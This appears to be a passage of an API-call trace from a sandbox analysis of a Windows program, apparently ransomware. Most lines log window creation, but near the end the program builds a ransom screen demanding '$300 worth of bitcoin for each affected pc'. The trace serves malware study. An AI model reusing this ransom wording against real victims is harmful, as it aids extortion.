[0089.480] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x2027a, lpPoints=0x2ed470, cPoints=0x2 | out: lpPoints=0x2ed470) returned -45941091
[0089.480] SendMessageW (hWnd=0x20290, Msg=0x2210, wParam=0x2900001, lParam=0x20290) returned 0x0
[0089.480] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20290, Msg=0x2210, wParam=0x2900001, lParam=0x20290) returned 0x0
[0089.480] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20290, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.480] GetParent (hWnd=0x20290) returned 0x2027a
[0089.480] GetCurrentActCtx (in: lphActCtx=0x2ee260 | out: lphActCtx=0x2ee260*=0x1abc8538) returned 1
[0089.480] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.480] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.480] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName=":", dwStyle=0x5600000d, X=48, Y=12, nWidth=13, nHeight=20, hWndParent=0x2027a, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x20292
[0089.480] SetWindowLongPtrW (hWnd=0x20292, nIndex=-4, dwNewLong=0x7fefc5861b4) returned 0x1b1a1d8c
[0089.480] GetWindowLongPtrW (hWnd=0x20292, nIndex=-4) returned 0x7fefc5861b4
[0089.481] SetWindowLongPtrW (hWnd=0x20292, nIndex=-4, dwNewLong=0x1b1a1fbc) returned 0x7fefc5861b4
[0089.481] GetWindowLongPtrW (hWnd=0x20292, nIndex=-4) returned 0x1b1a1fbc
[0089.481] GetWindowLongPtrW (hWnd=0x20292, nIndex=-16) returned 0x4600000d
[0089.481] GetWindowLongPtrW (hWnd=0x20292, nIndex=-12) returned 0x0
[0089.481] SetWindowLongPtrW (hWnd=0x20292, nIndex=-12, dwNewLong=0x20292) returned 0x0
[0089.481] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20292, Msg=0x81, wParam=0x0, lParam=0x2ed920) returned 0x1
[0089.481] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20292, Msg=0x83, wParam=0x0, lParam=0x2ed9d0) returned 0x0
[0089.481] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20292, Msg=0x1, wParam=0x0, lParam=0x2ed910) returned 0x0
[0089.481] GetWindow (hWnd=0x20292, uCmd=0x3) returned 0x20290
[0089.481] GetClientRect (in: hWnd=0x20292, lpRect=0x2ed350 | out: lpRect=0x2ed350) returned 1
[0089.481] GetWindowRect (in: hWnd=0x20292, lpRect=0x2ed350 | out: lpRect=0x2ed350) returned 1
[0089.481] GetParent (hWnd=0x20292) returned 0x2027a
[0089.481] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x2027a, lpPoints=0x2ed350, cPoints=0x2 | out: lpPoints=0x2ed350) returned -45941091
[0089.482] SetWindowTextW (hWnd=0x20292, lpString=":") returned 1
[0089.482] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20292, Msg=0xc, wParam=0x0, lParam=0x25fb684) returned 0x1
[0089.482] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20292, Msg=0x5, wParam=0x0, lParam=0x14000d) returned 0x0
[0089.482] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20292, Msg=0x3, wParam=0x0, lParam=0xc0030) returned 0x0
[0089.482] GetClientRect (in: hWnd=0x20292, lpRect=0x2ed470 | out: lpRect=0x2ed470) returned 1
[0089.482] GetWindowRect (in: hWnd=0x20292, lpRect=0x2ed470 | out: lpRect=0x2ed470) returned 1
[0089.482] GetParent (hWnd=0x20292) returned 0x2027a
[0089.482] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x2027a, lpPoints=0x2ed470, cPoints=0x2 | out: lpPoints=0x2ed470) returned -45941091
[0089.482] SendMessageW (hWnd=0x20292, Msg=0x2210, wParam=0x2920001, lParam=0x20292) returned 0x0
[0089.482] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20292, Msg=0x2210, wParam=0x2920001, lParam=0x20292) returned 0x0
[0089.482] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20292, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.483] GetParent (hWnd=0x20292) returned 0x2027a
[0089.483] GetCurrentActCtx (in: lphActCtx=0x2ee260 | out: lphActCtx=0x2ee260*=0x1abc8538) returned 1
[0089.483] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.483] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.483] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName=":", dwStyle=0x5600000d, X=48, Y=12, nWidth=13, nHeight=20, hWndParent=0x2027a, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x2028c
[0089.483] SetWindowLongPtrW (hWnd=0x2028c, nIndex=-4, dwNewLong=0x7fefc5861b4) returned 0x1b1a1d8c
[0089.483] GetWindowLongPtrW (hWnd=0x2028c, nIndex=-4) returned 0x7fefc5861b4
[0089.483] SetWindowLongPtrW (hWnd=0x2028c, nIndex=-4, dwNewLong=0x1b1a200c) returned 0x7fefc5861b4
[0089.483] GetWindowLongPtrW (hWnd=0x2028c, nIndex=-4) returned 0x1b1a200c
[0089.484] GetWindowLongPtrW (hWnd=0x2028c, nIndex=-16) returned 0x4600000d
[0089.484] GetWindowLongPtrW (hWnd=0x2028c, nIndex=-12) returned 0x0
[0089.484] SetWindowLongPtrW (hWnd=0x2028c, nIndex=-12, dwNewLong=0x2028c) returned 0x0
[0089.484] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028c, Msg=0x81, wParam=0x0, lParam=0x2ed920) returned 0x1
[0089.487] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028c, Msg=0x83, wParam=0x0, lParam=0x2ed9d0) returned 0x0
[0089.488] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028c, Msg=0x1, wParam=0x0, lParam=0x2ed910) returned 0x0
[0089.488] GetWindow (hWnd=0x2028c, uCmd=0x3) returned 0x20292
[0089.488] GetClientRect (in: hWnd=0x2028c, lpRect=0x2ed350 | out: lpRect=0x2ed350) returned 1
[0089.488] GetWindowRect (in: hWnd=0x2028c, lpRect=0x2ed350 | out: lpRect=0x2ed350) returned 1
[0089.488] GetParent (hWnd=0x2028c) returned 0x2027a
[0089.488] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x2027a, lpPoints=0x2ed350, cPoints=0x2 | out: lpPoints=0x2ed350) returned -45941091
[0089.489] SetWindowTextW (hWnd=0x2028c, lpString=":") returned 1
[0089.489] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028c, Msg=0xc, wParam=0x0, lParam=0x25fb684) returned 0x1
[0089.489] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028c, Msg=0x5, wParam=0x0, lParam=0x14000d) returned 0x0
[0089.489] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028c, Msg=0x3, wParam=0x0, lParam=0xc0030) returned 0x0
[0089.489] GetClientRect (in: hWnd=0x2028c, lpRect=0x2ed470 | out: lpRect=0x2ed470) returned 1
[0089.489] GetWindowRect (in: hWnd=0x2028c, lpRect=0x2ed470 | out: lpRect=0x2ed470) returned 1
[0089.489] GetParent (hWnd=0x2028c) returned 0x2027a
[0089.489] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x2027a, lpPoints=0x2ed470, cPoints=0x2 | out: lpPoints=0x2ed470) returned -45941091
[0089.489] SendMessageW (hWnd=0x2028c, Msg=0x2210, wParam=0x28c0001, lParam=0x2028c) returned 0x0
[0089.489] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028c, Msg=0x2210, wParam=0x28c0001, lParam=0x2028c) returned 0x0
[0089.489] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.489] GetParent (hWnd=0x2028c) returned 0x2027a
[0089.489] GetCurrentActCtx (in: lphActCtx=0x2ee260 | out: lphActCtx=0x2ee260*=0x1abc8538) returned 1
[0089.490] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.490] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.490] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName=":", dwStyle=0x5600000d, X=48, Y=12, nWidth=13, nHeight=20, hWndParent=0x2027a, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x2028e
[0089.490] SetWindowLongPtrW (hWnd=0x2028e, nIndex=-4, dwNewLong=0x7fefc5861b4) returned 0x1b1a1d8c
[0089.490] GetWindowLongPtrW (hWnd=0x2028e, nIndex=-4) returned 0x7fefc5861b4
[0089.491] SetWindowLongPtrW (hWnd=0x2028e, nIndex=-4, dwNewLong=0x1b1a205c) returned 0x7fefc5861b4
[0089.491] GetWindowLongPtrW (hWnd=0x2028e, nIndex=-4) returned 0x1b1a205c
[0089.491] GetWindowLongPtrW (hWnd=0x2028e, nIndex=-16) returned 0x4600000d
[0089.491] GetWindowLongPtrW (hWnd=0x2028e, nIndex=-12) returned 0x0
[0089.491] SetWindowLongPtrW (hWnd=0x2028e, nIndex=-12, dwNewLong=0x2028e) returned 0x0
[0089.491] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028e, Msg=0x81, wParam=0x0, lParam=0x2ed920) returned 0x1
[0089.491] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028e, Msg=0x83, wParam=0x0, lParam=0x2ed9d0) returned 0x0
[0089.491] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028e, Msg=0x1, wParam=0x0, lParam=0x2ed910) returned 0x0
[0089.491] GetWindow (hWnd=0x2028e, uCmd=0x3) returned 0x2028c
[0089.491] GetClientRect (in: hWnd=0x2028e, lpRect=0x2ed350 | out: lpRect=0x2ed350) returned 1
[0089.491] GetWindowRect (in: hWnd=0x2028e, lpRect=0x2ed350 | out: lpRect=0x2ed350) returned 1
[0089.491] GetParent (hWnd=0x2028e) returned 0x2027a
[0089.491] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x2027a, lpPoints=0x2ed350, cPoints=0x2 | out: lpPoints=0x2ed350) returned -45941091
[0089.492] SetWindowTextW (hWnd=0x2028e, lpString=":") returned 1
[0089.492] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028e, Msg=0xc, wParam=0x0, lParam=0x25fb684) returned 0x1
[0089.492] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028e, Msg=0x5, wParam=0x0, lParam=0x14000d) returned 0x0
[0089.492] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028e, Msg=0x3, wParam=0x0, lParam=0xc0030) returned 0x0
[0089.492] GetClientRect (in: hWnd=0x2028e, lpRect=0x2ed470 | out: lpRect=0x2ed470) returned 1
[0089.492] GetWindowRect (in: hWnd=0x2028e, lpRect=0x2ed470 | out: lpRect=0x2ed470) returned 1
[0089.492] GetParent (hWnd=0x2028e) returned 0x2027a
[0089.492] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x2027a, lpPoints=0x2ed470, cPoints=0x2 | out: lpPoints=0x2ed470) returned -45941091
[0089.492] SendMessageW (hWnd=0x2028e, Msg=0x2210, wParam=0x28e0001, lParam=0x2028e) returned 0x0
[0089.492] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028e, Msg=0x2210, wParam=0x28e0001, lParam=0x2028e) returned 0x0
[0089.492] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.492] GetParent (hWnd=0x2028e) returned 0x2027a
[0089.492] GetCurrentActCtx (in: lphActCtx=0x2ee260 | out: lphActCtx=0x2ee260*=0x1abc8538) returned 1
[0089.493] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.493] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.493] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName="00", dwStyle=0x5600000d, X=19, Y=16, nWidth=27, nHeight=20, hWndParent=0x2027a, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x20288
[0089.493] SetWindowLongPtrW (hWnd=0x20288, nIndex=-4, dwNewLong=0x7fefc5861b4) returned 0x1b1a1d8c
[0089.493] GetWindowLongPtrW (hWnd=0x20288, nIndex=-4) returned 0x7fefc5861b4
[0089.493] SetWindowLongPtrW (hWnd=0x20288, nIndex=-4, dwNewLong=0x1b1a20ac) returned 0x7fefc5861b4
[0089.493] GetWindowLongPtrW (hWnd=0x20288, nIndex=-4) returned 0x1b1a20ac
[0089.493] GetWindowLongPtrW (hWnd=0x20288, nIndex=-16) returned 0x4600000d
[0089.493] GetWindowLongPtrW (hWnd=0x20288, nIndex=-12) returned 0x0
[0089.493] SetWindowLongPtrW (hWnd=0x20288, nIndex=-12, dwNewLong=0x20288) returned 0x0
[0089.493] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0x81, wParam=0x0, lParam=0x2ed920) returned 0x1
[0089.493] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0x83, wParam=0x0, lParam=0x2ed9d0) returned 0x0
[0089.494] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0x1, wParam=0x0, lParam=0x2ed910) returned 0x0
[0089.494] GetWindow (hWnd=0x20288, uCmd=0x3) returned 0x2028e
[0089.494] GetClientRect (in: hWnd=0x20288, lpRect=0x2ed350 | out: lpRect=0x2ed350) returned 1
[0089.494] GetWindowRect (in: hWnd=0x20288, lpRect=0x2ed350 | out: lpRect=0x2ed350) returned 1
[0089.494] GetParent (hWnd=0x20288) returned 0x2027a
[0089.494] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x2027a, lpPoints=0x2ed350, cPoints=0x2 | out: lpPoints=0x2ed350) returned -45941091
[0089.494] SetWindowTextW (hWnd=0x20288, lpString="00") returned 1
[0089.494] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xc, wParam=0x0, lParam=0x25fd95c) returned 0x1
[0089.495] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0x5, wParam=0x0, lParam=0x14001b) returned 0x0
[0089.495] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0x3, wParam=0x0, lParam=0x100013) returned 0x0
[0089.495] GetClientRect (in: hWnd=0x20288, lpRect=0x2ed470 | out: lpRect=0x2ed470) returned 1
[0089.495] GetWindowRect (in: hWnd=0x20288, lpRect=0x2ed470 | out: lpRect=0x2ed470) returned 1
[0089.495] GetParent (hWnd=0x20288) returned 0x2027a
[0089.495] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x2027a, lpPoints=0x2ed470, cPoints=0x2 | out: lpPoints=0x2ed470) returned -45941091
[0089.495] SendMessageW (hWnd=0x20288, Msg=0x2210, wParam=0x2880001, lParam=0x20288) returned 0x0
[0089.495] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0x2210, wParam=0x2880001, lParam=0x20288) returned 0x0
[0089.495] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.495] GetParent (hWnd=0x20288) returned 0x2027a
[0089.495] GetCurrentActCtx (in: lphActCtx=0x2ee260 | out: lphActCtx=0x2ee260*=0x1abc8538) returned 1
[0089.495] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.496] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.496] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r12_ad1", lpWindowName="00", dwStyle=0x5600000d, X=123, Y=16, nWidth=27, nHeight=20, hWndParent=0x2027a, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x2028a
[0089.496] SetWindowLongPtrW (hWnd=0x2028a, nIndex=-4, dwNewLong=0x7fefc5861b4) returned 0x1b1a1d8c
[0089.496] GetWindowLongPtrW (hWnd=0x2028a, nIndex=-4) returned 0x7fefc5861b4
[0089.496] SetWindowLongPtrW (hWnd=0x2028a, nIndex=-4, dwNewLong=0x1b1a20fc) returned 0x7fefc5861b4
[0089.496] GetWindowLongPtrW (hWnd=0x2028a, nIndex=-4) returned 0x1b1a20fc
[0089.496] GetWindowLongPtrW (hWnd=0x2028a, nIndex=-16) returned 0x4600000d
[0089.496] GetWindowLongPtrW (hWnd=0x2028a, nIndex=-12) returned 0x0
[0089.496] SetWindowLongPtrW (hWnd=0x2028a, nIndex=-12, dwNewLong=0x2028a) returned 0x0
[0089.496] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0x81, wParam=0x0, lParam=0x2ed920) returned 0x1
[0089.497] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0x83, wParam=0x0, lParam=0x2ed9d0) returned 0x0
[0089.497] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0x1, wParam=0x0, lParam=0x2ed910) returned 0x0
[0089.497] GetWindow (hWnd=0x2028a, uCmd=0x3) returned 0x20288
[0089.497] GetClientRect (in: hWnd=0x2028a, lpRect=0x2ed350 | out: lpRect=0x2ed350) returned 1
[0089.497] GetWindowRect (in: hWnd=0x2028a, lpRect=0x2ed350 | out: lpRect=0x2ed350) returned 1
[0089.497] GetParent (hWnd=0x2028a) returned 0x2027a
[0089.497] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x2027a, lpPoints=0x2ed350, cPoints=0x2 | out: lpPoints=0x2ed350) returned -45941091
[0089.498] SetWindowTextW (hWnd=0x2028a, lpString="00") returned 1
[0089.498] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xc, wParam=0x0, lParam=0x25fd95c) returned 0x1
[0089.498] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0x5, wParam=0x0, lParam=0x14001b) returned 0x0
[0089.498] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0x3, wParam=0x0, lParam=0x10007b) returned 0x0
[0089.498] GetClientRect (in: hWnd=0x2028a, lpRect=0x2ed470 | out: lpRect=0x2ed470) returned 1
[0089.498] GetWindowRect (in: hWnd=0x2028a, lpRect=0x2ed470 | out: lpRect=0x2ed470) returned 1
[0089.498] GetParent (hWnd=0x2028a) returned 0x2027a
[0089.498] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x2027a, lpPoints=0x2ed470, cPoints=0x2 | out: lpPoints=0x2ed470) returned -45941091
[0089.498] SendMessageW (hWnd=0x2028a, Msg=0x2210, wParam=0x28a0001, lParam=0x2028a) returned 0x0
[0089.498] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0x2210, wParam=0x28a0001, lParam=0x2028a) returned 0x0
[0089.498] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.498] GetParent (hWnd=0x2028a) returned 0x2027a
[0089.498] GetCurrentActCtx (in: lphActCtx=0x2ee340 | out: lphActCtx=0x2ee340*=0x1abc8538) returned 1
[0089.498] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.499] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.499] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r12_ad1", lpWindowName="Amount Bitcoins :", dwStyle=0x56000000, X=6, Y=19, nWidth=373, nHeight=63, hWndParent=0x60106, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x20284
[0089.499] SetWindowLongPtrW (hWnd=0x20284, nIndex=-4, dwNewLong=0x77a8b0ac) returned 0x1b19139c
[0089.499] GetWindowLongPtrW (hWnd=0x20284, nIndex=-4) returned 0x77a8b0ac
[0089.499] SetWindowLongPtrW (hWnd=0x20284, nIndex=-4, dwNewLong=0x1b1a214c) returned 0x77a8b0ac
[0089.499] GetWindowLongPtrW (hWnd=0x20284, nIndex=-4) returned 0x1b1a214c
[0089.499] GetWindowLongPtrW (hWnd=0x20284, nIndex=-16) returned 0x46000000
[0089.499] GetWindowLongPtrW (hWnd=0x20284, nIndex=-12) returned 0x0
[0089.499] SetWindowLongPtrW (hWnd=0x20284, nIndex=-12, dwNewLong=0x20284) returned 0x0
[0089.499] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0x81, wParam=0x0, lParam=0x2eda00) returned 0x1
[0089.499] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0x83, wParam=0x0, lParam=0x2edab0) returned 0x0
[0089.500] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0x1, wParam=0x0, lParam=0x2ed9d0) returned 0x0
[0089.500] GetWindow (hWnd=0x20284, uCmd=0x3) returned 0x30272
[0089.500] GetClientRect (in: hWnd=0x20284, lpRect=0x2ed460 | out: lpRect=0x2ed460) returned 1
[0089.500] GetWindowRect (in: hWnd=0x20284, lpRect=0x2ed460 | out: lpRect=0x2ed460) returned 1
[0089.500] GetParent (hWnd=0x20284) returned 0x60106
[0089.500] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60106, lpPoints=0x2ed460, cPoints=0x2 | out: lpPoints=0x2ed460) returned -27263319
[0089.500] SetWindowTextW (hWnd=0x20284, lpString="Amount Bitcoins :") returned 1
[0089.500] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0xc, wParam=0x0, lParam=0x25d6ff4) returned 0x1
[0089.500] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0x5, wParam=0x0, lParam=0x3f0175) returned 0x0
[0089.501] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0x3, wParam=0x0, lParam=0x130006) returned 0x0
[0089.501] GetClientRect (in: hWnd=0x20284, lpRect=0x2ed5a0 | out: lpRect=0x2ed5a0) returned 1
[0089.501] GetWindowRect (in: hWnd=0x20284, lpRect=0x2ed5a0 | out: lpRect=0x2ed5a0) returned 1
[0089.501] GetParent (hWnd=0x20284) returned 0x60106
[0089.501] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60106, lpPoints=0x2ed5a0, cPoints=0x2 | out: lpPoints=0x2ed5a0) returned -27263319
[0089.501] SendMessageW (hWnd=0x20284, Msg=0x2210, wParam=0x2840001, lParam=0x20284) returned 0x0
[0089.501] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0x2210, wParam=0x2840001, lParam=0x20284) returned 0x0
[0089.501] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.501] GetParent (hWnd=0x20284) returned 0x60106
[0089.501] GetCurrentActCtx (in: lphActCtx=0x2ee2d0 | out: lphActCtx=0x2ee2d0*=0x1abc8538) returned 1
[0089.501] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.501] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.501] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r12_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=320, Y=14, nWidth=47, nHeight=43, hWndParent=0x20284, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x20286
[0089.501] SetWindowLongPtrW (hWnd=0x20286, nIndex=-4, dwNewLong=0x77a8b0ac) returned 0x1b19139c
[0089.501] GetWindowLongPtrW (hWnd=0x20286, nIndex=-4) returned 0x77a8b0ac
[0089.502] SetWindowLongPtrW (hWnd=0x20286, nIndex=-4, dwNewLong=0x1b1a219c) returned 0x77a8b0ac
[0089.502] GetWindowLongPtrW (hWnd=0x20286, nIndex=-4) returned 0x1b1a219c
[0089.502] GetWindowLongPtrW (hWnd=0x20286, nIndex=-16) returned 0x46000000
[0089.502] GetWindowLongPtrW (hWnd=0x20286, nIndex=-12) returned 0x0
[0089.502] SetWindowLongPtrW (hWnd=0x20286, nIndex=-12, dwNewLong=0x20286) returned 0x0
[0089.502] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20286, Msg=0x81, wParam=0x0, lParam=0x2ed990) returned 0x1
[0089.502] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20286, Msg=0x83, wParam=0x0, lParam=0x2eda40) returned 0x0
[0089.502] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20286, Msg=0x1, wParam=0x0, lParam=0x2ed990) returned 0x0
[0089.502] GetWindow (hWnd=0x20286, uCmd=0x3) returned 0x0
[0089.502] GetClientRect (in: hWnd=0x20286, lpRect=0x2ed450 | out: lpRect=0x2ed450) returned 1
[0089.502] GetWindowRect (in: hWnd=0x20286, lpRect=0x2ed450 | out: lpRect=0x2ed450) returned 1
[0089.502] GetParent (hWnd=0x20286) returned 0x20284
[0089.502] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x20284, lpPoints=0x2ed450, cPoints=0x2 | out: lpPoints=0x2ed450) returned -28508509
[0089.503] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20286, Msg=0x5, wParam=0x0, lParam=0x2b002f) returned 0x0
[0089.503] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20286, Msg=0x3, wParam=0x0, lParam=0xe0140) returned 0x0
[0089.503] GetClientRect (in: hWnd=0x20286, lpRect=0x2ed560 | out: lpRect=0x2ed560) returned 1
[0089.503] GetWindowRect (in: hWnd=0x20286, lpRect=0x2ed560 | out: lpRect=0x2ed560) returned 1
[0089.503] GetParent (hWnd=0x20286) returned 0x20284
[0089.503] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x20284, lpPoints=0x2ed560, cPoints=0x2 | out: lpPoints=0x2ed560) returned -28508509
[0089.503] SendMessageW (hWnd=0x20286, Msg=0x2210, wParam=0x2860001, lParam=0x20286) returned 0x0
[0089.503] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20286, Msg=0x2210, wParam=0x2860001, lParam=0x20286) returned 0x0
[0089.503] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20286, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.503] GetParent (hWnd=0x20286) returned 0x20284
[0089.503] GetCurrentActCtx (in: lphActCtx=0x2ee290 | out: lphActCtx=0x2ee290*=0x1abc8538) returned 1
[0089.503] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.503] GetClassInfoW (in: hInstance=0x0, lpClassName="EDIT", lpWndClass=0x2651340 | out: lpWndClass=0x2651340) returned 1
[0089.504] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.504] CoTaskMemAlloc (cb=0x54) returned 0x1ac17e90
[0089.504] RegisterClassW (lpWndClass=0x2edf70) returned 0xc171
[0089.504] CoTaskMemFree (pv=0x1ac17e90)
[0089.504] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.504] CreateWindowExW (dwExStyle=0x200, lpClassName="WindowsForms10.EDIT.app.0.141b42a_r12_ad1", lpWindowName=" Send $ 300 worth of bitcoin for each affected pc ", dwStyle=0x560108c0, X=6, Y=20, nWidth=308, nHeight=23, hWndParent=0x20284, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x20280
[0089.505] SetWindowLongPtrW (hWnd=0x20280, nIndex=-4, dwNewLong=0x7fefc58975c) returned 0x1b1a21ec
[0089.505] GetWindowLongPtrW (hWnd=0x20280, nIndex=-4) returned 0x7fefc58975c
[0089.505] SetWindowLongPtrW (hWnd=0x20280, nIndex=-4, dwNewLong=0x1b1a223c) returned 0x7fefc58975c
[0089.505] GetWindowLongPtrW (hWnd=0x20280, nIndex=-4) returned 0x1b1a223c
[0089.505] GetWindowLongPtrW (hWnd=0x20280, nIndex=-16) returned 0x460108c0
[0089.505] GetWindowLongPtrW (hWnd=0x20280, nIndex=-12) returned 0x0
[0089.505] SetWindowLongPtrW (hWnd=0x20280, nIndex=-12, dwNewLong=0x20280) returned 0x0
[0089.505] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x20280, Msg=0x81, wParam=0x0, lParam=0x2ed950) returned 0x1
